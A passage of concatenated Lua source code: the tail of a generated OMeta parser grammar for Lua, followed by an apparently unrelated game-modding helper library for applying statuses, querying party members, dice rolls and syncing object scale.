return false
end
__pass__, body = input:applyForeign(LuaInOMeta, LuaInOMeta.choiceDef)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "end")) then
return false
end
return true, {params, body}
end)
end, arity = 0, name = 'ruleBody'}), grammarBody = OMeta.Rule({behavior = function (input)
local __result__, __pass__
return input:applyWithArgs(input.grammar.choice, function (input)
if not (input:applyWithArgs(input.grammar.token, "{")) then
return false
end
__pass__, __result__ = input:applyWithArgs(input.grammar.list, input.grammar.innerRuleBody, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(input.grammar.token, ",")
end, function (input)
return input:applyWithArgs(input.grammar.token, ";")
end)
end)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.optional, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(input.grammar.token, ",")
end, function (input)
return input:applyWithArgs(input.grammar.token, ";")
end)
end)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "}")) then
return false
end
return true, __result__
end)
end, arity = 0, name = 'grammarBody'}), innerRuleBody = OMeta.Rule({behavior = function (input)
local params, __pass__, body, index
return input:applyWithArgs(input.grammar.choice, function (input)
__pass__, index = input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(input.grammar.name)
end, function (input)
local __result__, __pass__
if not (input:applyWithArgs(input.grammar.token, "[")) then
return false
end
__pass__, __result__ = input:apply(input.grammar.exp)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "]")) then
return false
end
return true, __result__
end)
if not (__pass__) then
return false
end
__pass__, params = input:applyWithArgs(input.grammar.choice, function (input)
local __result__, __pass__
if not (input:applyWithArgs(input.grammar.token, "(")) then
return false
end
__pass__, __result__ = input:apply(input.grammar.parlist)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, ")")) then
return false
end
return true, __result__
end, function (input)
if not (input:apply(input.grammar.empty)) then
return false
end
return true, {Array({}), false}
end)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "=")) then
return false
end
__pass__, body = input:applyForeign(LuaInOMeta, LuaInOMeta.choiceDef)
if not (__pass__) then
return false
end
return true, RuleExpression({name = index, arguments = params[1], variableArguments = params[2], block = body})
end)
end, arity = 0, name = 'innerRuleBody'}), strlitB = OMeta.Rule({behavior = function (input)
local slices, __pass__, last
return input:applyWithArgs(input.grammar.choice, function (input)
if not (input:applyWithArgs(input.grammar.exactly, '`')) then
return false
end
__pass__, slices = input:applyWithArgs(input.grammar.many, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
local __pass__, s, e
__pass__, s = input:apply(input.grammar.slice)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.exactly, '$')) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "{")) then
return false
end
__pass__, e = input:apply(input.grammar.exp)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "}")) then
return false
end
return true, Array({s, e})
end)
end)
if not (__pass__) then
return false
end
__pass__, last = input:apply(input.grammar.slice)
if not (__pass__) then
return false
end
if not (input:applyWithArgs(input.grammar.exactly, '`')) then
return false
end
return true, slices:flatten():append(last)
end)
end, arity = 0, name = 'strlitB'}), slice = OMeta.Rule({behavior = function (input)
local str, __pass__
return input:applyWithArgs(input.grammar.choice, function (input)
__pass__, str = input:applyWithArgs(input.grammar.consumed, function (input)
return input:applyWithArgs(input.grammar.many, function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(input.grammar.escchar)
end, function (input)
if not (input:applyWithArgs(input.grammar.notPredicate, '`')) then
return false
end
if not (input:applyWithArgs(input.grammar.notPredicate, '$')) then
return false
end
return input:apply(input.grammar.char)
end)
end)
end)
if not (__pass__) then
return false
end
return true, StringLiteral({str, ldelim = '[[', rdelim = ']]'})
end)
end, arity = 0, name = 'slice'})})
OMetaInLua:merge(LuaGrammar)
OMetaInLuaExt = OMeta.Grammar({_grammarName = 'OMetaInLuaExt', special = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.special)
end, function (input)
return input:applyWithArgs(input.grammar.exactly, '$')
end)
end, arity = 0, name = 'special'}), primexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.primexp)
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(input.grammar.token, "^")
end, function (input)
return input:applyWithArgs(input.grammar.subsequence, [[result]])
end)) then
return false
end
return true, exp([[__result__]])
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(input.grammar.token, ".")
end, function (input)
return input:applyWithArgs(input.grammar.subsequence, [[head]])
end)) then
return false
end
return true, exp([[input.stream._head]])
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.subsequence, [[index]])) then
return false
end
return true, exp([[input.stream._index]])
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.subsequence, [[input]])) then
return false
end
return true, exp([[input]])
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.subsequence, [[state]])) then
return false
end
return true, exp([[input.stream]])
end, function (input)
if not (input:applyWithArgs(input.grammar.many, input.grammar.ws)) then
return false
end
if not (input:applyWithArgs(input.grammar.token, "$")) then
return false
end
if not (input:applyWithArgs(input.grammar.subsequence, [[source]])) then
return false
end
return true, exp([[input.stream._source]])
end)
end, arity = 0, name = 'primexp'})})
OMetaInLuaExt:merge(OMetaInLua)
OMetaInLuaMixed = OMeta.Grammar({_grammarName = 'OMetaInLuaMixed', name = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.name)
end, function (input)
return input:apply(Name)
end)
end, arity = 0, name = 'name'}), token = OMeta.Rule({behavior = function (input, str)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:applyWithArgs(OMetaInLua.token, str)
end, function (input)
local __result__, __pass__
__pass__, __result__ = input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(Keyword)
end, function (input)
return input:apply(Special)
end)
if not (__pass__) then
return false
end
if not ((__result__)[1] == str) then
return false
end
return (__result__)[1] == str, __result__
end)
end, arity = 1, name = 'token'}), chunk = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(Chunk)
end, function (input)
local stats, __pass__
__pass__, stats = input:apply(Array)
if not (__pass__) then
return false
end
return true, Chunk({statements = stats})
end, function (input)
return input:apply(OMetaInLua.chunk)
end)
end, arity = 0, name = 'chunk'}), stat = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.stat)
end, function (input)
return input:apply(Do)
end, function (input)
return input:apply(While)
end, function (input)
return input:apply(Repeat)
end, function (input)
return input:apply(If)
end, function (input)
return input:apply(ElseIf)
end, function (input)
return input:apply(For)
end, function (input)
return input:apply(ForIn)
end, function (input)
return input:apply(MethodStatement)
end, function (input)
return input:apply(FunctionStatement)
end, function (input)
return input:apply(Set)
end, function (input)
return input:apply(Goto)
end)
end, arity = 0, name = 'stat'}), label = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.label)
end, function (input)
return input:apply(Label)
end)
end, arity = 0, name = 'label'}), laststat = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.laststat)
end, function (input)
return input:apply(Return)
end, function (input)
return input:apply(Break)
end)
end, arity = 0, name = 'laststat'}), namelist = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.namelist)
end, function (input)
return input:apply(Array)
end)
end, arity = 0, name = 'namelist'}), explist = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.explist)
end, function (input)
return input:apply(Array)
end)
end, arity = 0, name = 'explist'}), mulexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.mulexp)
end, function (input)
return input:apply(BinaryOperation)
end)
end, arity = 0, name = 'mulexp'}), unary = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.unary)
end, function (input)
return input:apply(UnaryOperation)
end)
end, arity = 0, name = 'unary'}), primexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.primexp)
end, function (input)
return input:apply(NilLiteral)
end, function (input)
return input:apply(BooleanLiteral)
end, function (input)
return input:apply(RealLiteral)
end, function (input)
return input:apply(StringLiteral)
end, function (input)
return input:apply(VariableArguments)
end, function (input)
return input:apply(FunctionExpression)
end)
end, arity = 0, name = 'primexp'}), prefixexp = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
local ctx, __pass__
__pass__, ctx = input:apply(input.grammar.prefixexp)
if not (__pass__) then
return false
end
return input:applyWithArgs(input.grammar.suffixexp, ctx)
end, function (input)
return input:apply(Call)
end, function (input)
return input:apply(Send)
end, function (input)
return input:apply(GetProperty)
end, function (input)
return input:apply(Get)
end, function (input)
return input:apply(Group)
end, function (input)
return input:apply(OMetaInLua.prefixexp)
end)
end, arity = 0, name = 'prefixexp'}), args = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.args)
end, function (input)
return input:apply(Array)
end, function (input)
local a, __pass__
__pass__, a = input:apply(TableConstructor)
if not (__pass__) then
return false
end
return true, Array({a})
end, function (input)
local a, __pass__
__pass__, a = input:apply(StringLiteral)
if not (__pass__) then
return false
end
return true, Array({a})
end)
end, arity = 0, name = 'args'}), tableconstr = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.tableconstr)
end, function (input)
return input:apply(TableConstructor)
end)
end, arity = 0, name = 'tableconstr'}), fieldlist = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.fieldlist)
end, function (input)
return input:apply(Array)
end)
end, arity = 0, name = 'fieldlist'}), field = OMeta.Rule({behavior = function (input)
return input:applyWithArgs(input.grammar.choice, function (input)
return input:apply(OMetaInLua.field)
end, function (input)
return input:apply(SetProperty)
end)
end, arity = 0, name = 'field'})})
OMetaInLuaMixed:merge(OMetaInLua)
return {LuaInOMetaGrammar = LuaInOMeta, OMetaInLuaGrammar = OMetaInLua, OMetaInLuaExtGrammar = OMetaInLuaExt, OMetaInLuaMixedGrammar = OMetaInLuaMixed}
|
local function ContextContains(context, find)
local findType = type(find)
for i,v in pairs(context) do
if findType == "string" and StringHelpers.Equals(find, v, true) then
return true
elseif findType == "table" and Common.TableHasEntry(find, v, true) then
return true
end
end
return false
end
--- Applies ExtraProperties/SkillProperties.
---@param target string
---@param source string|nil
---@param properties StatProperty[]
function GameHelpers.ApplyProperties(target, source, properties)
for i,v in pairs(properties) do
if v.Type == "Status" then
if ContextContains(v.Context, "Target") then
if v.Action == "EXPLODE" then
if v.StatusChance >= 1.0 then
GameHelpers.ExplodeProjectile(source, target, v.StatsId)
elseif v.StatusChance > 0 then
if Ext.Random(0.0, 1.0) <= v.StatusChance then
GameHelpers.ExplodeProjectile(source, target, v.StatsId)
end
end
else
if target ~= nil then
if v.StatusChance >= 1.0 then
ApplyStatus(target, v.Action, v.Duration, 0, source)
elseif v.StatusChance > 0 then
if Ext.Random(0.0, 1.0) <= v.StatusChance then
ApplyStatus(target, v.Action, v.Duration, 0, source)
end
end
end
end
end
if ContextContains(v.Context, "Self") then
if v.Action == "EXPLODE" then
if v.StatusChance >= 1.0 then
GameHelpers.ExplodeProjectile(source, source, v.StatsId)
elseif v.StatusChance > 0 then
if Ext.Random(0.0, 1.0) <= v.StatusChance then
GameHelpers.ExplodeProjectile(source, source, v.StatsId)
end
end
else
if v.StatusChance >= 1.0 then
ApplyStatus(source, v.Action, v.Duration, 0, source)
elseif v.StatusChance > 0 then
if Ext.Random(0.0, 1.0) <= v.StatusChance then
ApplyStatus(source, v.Action, v.Duration, 0, source)
end
end
end
end
end
end
end
---Get a character's party members.
---@param partyMember string
---@param includeSummons boolean
---@param includeFollowers boolean
---@param includeDead boolean
---@param includeSelf boolean
---@return string[]
function GameHelpers.GetParty(partyMember, includeSummons, includeFollowers, includeDead, includeSelf)
local party = {}
local allParty = Osi.DB_LeaderLib_AllPartyMembers:Get(nil)
if allParty ~= nil then
for i,v in pairs(allParty) do
local uuid = v[1]
if CharacterIsDead(uuid) == 0 or includeDead then
if (uuid ~= partyMember or includeSelf) and CharacterIsInPartyWith(partyMember, uuid) == 1 then
if (CharacterIsSummon(uuid) == 0 or includeSummons) and (CharacterIsPartyFollower(uuid) == 0 or includeFollowers) then
party[#party+1] = uuid
end
end
end
end
end
return party
end
---Roll between 0 and 100 and see if the result is below a number.
---@param chance integer The minimum number that must be met.
---@param includeZero boolean If true, 0 is not a failure roll, otherwise the roll must be higher than 0.
---@return boolean,integer
function GameHelpers.Roll(chance, includeZero)
if chance <= 0 then
return false,0
elseif chance >= 100 then
return true,100
end
local roll = Ext.Random(0,100)
if includeZero == true then
return (roll <= chance),roll
else
return (roll > 0 and roll <= chance),roll
end
end
function GameHelpers.ClearActionQueue(character, purge)
if purge then
CharacterPurgeQueue(character)
else
CharacterFlushQueue(character)
end
CharacterMoveTo(character, character, 1, "", 1)
CharacterSetStill(character)
end
---Sync an item or character's scale to clients.
---@param object string|EsvCharacter|EsvItem
function GameHelpers.SyncScale(object)
if type(object) == "string" then
if ObjectIsCharacter(object) == 1 then
object = Ext.GetCharacter(object)
elseif ObjectIsItem(object) == 1 then
object = Ext.GetItem(object)
end
end
if object ~= nil then
local isItem = ObjectIsItem(object.MyGuid) == 1
Ext.BroadcastMessage("LeaderLib_SyncScale", Classes.MessageData:CreateFromTable("SyncScaleData", {
UUID = object.MyGuid,
Scale = object.Scale,
IsItem = isItem,
Handle = object.NetID
--Handle = Ext.HandleToDouble(object.Handle)
}):ToString())
end
end
---Set an item or character's scale, and sync it to clients.
---@param object EsvCharacter|string
---@param scale number
function GameHelpers.SetScale(object, scale)
if type(object) == "string" then
if ObjectIsCharacter(object) == 1 then
object = Ext.GetCharacter(object)
elseif ObjectIsItem(object) == 1 then
object = Ext.GetItem(object)
end
end
if object.SetScale ~= nil then
object:SetScale(scale)
GameHelpers.SyncScale(object)
end
end
function GameHelpers.IsInCombat(uuid)
if ObjectIsCharacter(uuid) == 1 and CharacterIsInCombat(uuid) == 1 then
return true
else
local db = Osi.DB_CombatObjects:Get(uuid, nil)
if db ~= nil and #db > 0 then
return true
end
end
return false
end
|
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